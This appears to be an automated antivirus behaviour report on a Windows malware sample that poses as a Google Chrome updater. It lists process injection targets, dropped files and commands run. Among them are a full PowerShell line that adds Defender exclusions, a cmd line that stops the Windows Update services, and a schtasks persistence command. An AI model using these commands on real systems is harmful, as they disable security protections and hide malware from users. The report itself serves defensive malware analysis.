Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googleupdatetaskmachineqc
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Injects code into
the following system processes:
- <SYSTEM32>\dialer.exe
- <SYSTEM32>\winlogon.exe
- <SYSTEM32>\lsass.exe
- <SYSTEM32>\svchost.exe
- <SYSTEM32>\dwm.exe
- <SYSTEM32>\wudfhost.exe
- <SYSTEM32>\spoolsv.exe
- <SYSTEM32>\sihost.exe
- <SYSTEM32>\taskhostw.exe
- %WINDIR%\explorer.exe
- <SYSTEM32>\runtimebroker.exe
- <SYSTEM32>\dllhost.exe
- <SYSTEM32>\securityhealthsystray.exe
- <SYSTEM32>\oobe\useroobebroker.exe
- <SYSTEM32>\sppextcomobj.exe
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
- <SYSTEM32>\conhost.exe
- <SYSTEM32>\slui.exe
- <SYSTEM32>\schtasks.exe
- <SYSTEM32>\cmd.exe
- <SYSTEM32>\sc.exe
the following user processes:
- iexplore.exe
- firefox.exe
- updater.exe
Hooks functions
in browsers
- iexplore.exe process, advapi32.dll module
- firefox.exe process, advapi32.dll module
Patches code
in dll
- dialer.exe process, KERNEL32.dll module
- runtimebroker.exe process, ADVAPI32.dll module
- powershell.exe process, SECHOST.dll module
- powershell.exe process, ADVAPI32.dll module
- slui.exe process, SECHOST.dll module
- slui.exe process, ADVAPI32.dll module
- schtasks.exe process, SECHOST.dll module
- schtasks.exe process, ADVAPI32.dll module
- cmd.exe process, SECHOST.dll module
- cmd.exe process, ADVAPI32.dll module
- sc.exe process, SECHOST.dll module
- sc.exe process, ADVAPI32.dll module
in NTDLL dll
- powershell.exe process, ntdll.dll module
- slui.exe process, ntdll.dll module
- schtasks.exe process, ntdll.dll module
- cmd.exe process, ntdll.dll module
- sc.exe process, ntdll.dll module
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\dialer.exe
Modifies file system
Creates the following files
- %TEMP%\grxbvpxoksnx.tmp
- %ProgramFiles%\google\chrome\updater.exe
- %WINDIR%\temp\__psscriptpolicytest_0uvdopgc.pve.ps1
- %WINDIR%\temp\__psscriptpolicytest_yzslsr0a.452.psm1
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-54-735.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-059.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-197.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-452.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-585.dump
- %WINDIR%\temp\__psscriptpolicytest_vxen5oyy.yjr.ps1
- %WINDIR%\temp\__psscriptpolicytest_y2ephxhp.p0k.psm1
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-869.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-901.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-55-986.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-129.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-290.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-434.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-600.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-643.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-684.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-765.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-788.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-56-950.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-57-150.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-167.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-268.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-321.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-337.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-399.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-437.dump
- %WINDIR%\temp\content\3628-1172-powershell.exe-16-53-58-537.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\grxbvpxoksnx.tmp
- %WINDIR%\temp\__psscriptpolicytest_d0eokz5o.40c.ps1
- %WINDIR%\temp\__psscriptpolicytest_ekgssmad.kp1.psm1
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-02-612.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-02-909.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-009.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-172.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-210.dump
- %WINDIR%\temp\__psscriptpolicytest_dvmbevkg.vtu.ps1
- %WINDIR%\temp\__psscriptpolicytest_5024y1bh.eyn.psm1
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-397.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-444.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-497.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-613.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-745.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-935.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-03-977.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-051.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-094.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-157.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-562.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-658.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-852.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-04-949.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-05-000.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-05-045.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-05-526.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-05-697.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-05-828.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-05-869.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-364.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-379.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-395.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-511.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-527.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-628.dump
- %WINDIR%\temp\content\3212-1112-powershell.exe-16-54-06-681.dump
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_0uvdopgc.pve.ps1
- %WINDIR%\temp\__psscriptpolicytest_yzslsr0a.452.psm1
- %WINDIR%\temp\__psscriptpolicytest_vxen5oyy.yjr.ps1
- %WINDIR%\temp\__psscriptpolicytest_y2ephxhp.p0k.psm1
- %WINDIR%\temp\__psscriptpolicytest_d0eokz5o.40c.ps1
- %WINDIR%\temp\__psscriptpolicytest_ekgssmad.kp1.psm1
- %WINDIR%\temp\__psscriptpolicytest_dvmbevkg.vtu.ps1
- %WINDIR%\temp\__psscriptpolicytest_5024y1bh.eyn.psm1
- %WINDIR%\temp\grxbvpxoksnx.tmp
Substitutes the following files
- %WINDIR%\temp\grxbvpxoksnx.tmp
Miscellaneous
Creates and executes the following
- '%ProgramFiles%\google\chrome\updater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#pcwnqz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''%ProgramFiles%...
Executes the following
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\dialer.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#pcwnqz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''%ProgramFiles%...
- '<SYSTEM32>\schtasks.exe' /run /tn "GoogleUpdateTaskMachineQC"
